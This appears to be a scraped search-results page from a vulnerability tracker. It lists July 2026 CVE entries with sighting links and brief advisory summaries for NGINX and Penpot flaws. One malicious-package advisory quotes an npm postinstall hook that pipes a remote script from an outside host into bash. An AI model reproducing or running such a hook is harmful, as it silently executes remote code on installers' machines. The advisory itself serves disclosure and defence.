123048 matches found
CVE-2026-60085
creationtimestamp| type| source ---|---|--- 2026-07-15 15:45:28+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp2vafmxw2h...
MAL-2026-10682 Malicious code in code-formatter-setup (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 29eac23cdb5855a900e15c2d86231de29d9985573f90f819f9d4ba08425b9042 package.json declares a postinstall lifecycle hook that runs node -e "require'childprocess'.execSync'curl -s https://m100.cloud/setup | bash'",...
CVE-2026-38450
creationtimestamp| type| source ---|---|--- 2026-07-15 15:44:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqp2sr3l7e2y...
CVE-2026-56339
creationtimestamp| type| source ---|---|--- 2026-07-15 15:41:32+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp2o7cnt32o 2026-07-16 11:39:38+00:00| seen| https://bsky.app/profile/cybersecinsight.bsky.social/post/3mqr5mlyta527...
CVE-2026-58655
creationtimestamp| type| source ---|---|--- 2026-07-15 15:39:45+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp2kzoz6t2s...
CVE-2026-42533
A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and a string expression references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable i...
EUVD-2026-44700
Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask, allowing...
CVE-2026-60005
NGINX Plus and NGINX Open Source have a vulnerability in the ngxhttpslicemodule module. When the slice directive and unnamed regex captures are configured or when a background cache update happens, unauthenticated attackers can send requests that may cause uninitialized memory access in the NGINX...
CVE-2026-60005
NGINX Plus and NGINX Open Source have a vulnerability in the ngxhttpslicemodule module. When the slice directive and unnamed regex captures are configured or when a background cache update happens, unauthenticated attackers can send requests that may cause uninitialized memory access in the NGINX...
CVE-2026-54058
creationtimestamp| type| source ---|---|--- 2026-07-15 14:40:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mqoxacvh3y2j 2026-07-20 21:46:08+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mr4benmlmo2q 2026-07-20 22:37:49+00:00| published-proof-of-concept|...
CVE-2026-56434
NGINX Plus and NGINX Open Source have a vulnerability in the ngxhttpssimodule module. This vulnerability may exist when the Server-Side Includes SSI, proxypass, and proxybuffering off directives are configured. With this configuration, an unauthenticated attacker with man-in-the-middle MITM abili...
CVE-2026-56434
NGINX Plus and NGINX Open Source have a vulnerability in the ngxhttpssimodule module. This vulnerability may exist when the Server-Side Includes SSI, proxypass, and proxybuffering off directives are configured. With this configuration, an unauthenticated attacker with man-in-the-middle MITM abili...
CVE-2026-42533
A vulnerability exists in NGINX Plus and NGINX Open Source when a map directive uses regex matching and a string expression references the map's regex capture variables before referencing the map output variable. Alternatively, the same result could be achieved by using a non-cacheable variable i...
CVE-2026-59841
creationtimestamp| type| source ---|---|--- 2026-07-15 14:20:29+00:00| seen| https://bsky.app/profile/o2cloud.bsky.social/post/3mqow55nlat2n 2026-07-15 16:02:43+00:00| seen| https://advisories.ncsc.nl/advisory?id=NCSC-2026-0240 2026-07-16 01:00:46+00:00| seen|...
CVE-2026-59840
creationtimestamp| type| source ---|---|--- 2026-07-15 14:20:29+00:00| seen| https://bsky.app/profile/o2cloud.bsky.social/post/3mqow55nlat2n...
CVE-2026-59838
creationtimestamp| type| source ---|---|--- 2026-07-15 14:20:29+00:00| seen| https://bsky.app/profile/o2cloud.bsky.social/post/3mqow55nlat2n 2026-07-15 16:43:15+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mqp64klyui2s...
CVE-2025-53379
creationtimestamp| type| source ---|---|--- 2026-07-15 14:20:28+00:00| seen| https://bsky.app/profile/o2cloud.bsky.social/post/3mqow55nlat2n...
CVE-2026-23573
creationtimestamp| type| source ---|---|--- 2026-07-15 14:20:28+00:00| seen| https://bsky.app/profile/o2cloud.bsky.social/post/3mqow55nlat2n 2026-07-23 18:30:37+00:00| seen| https://bsky.app/profile/lasenal.bsky.social/post/3mrdhtvgvfx2z 2026-09-04 21:19:09+00:00| seen|...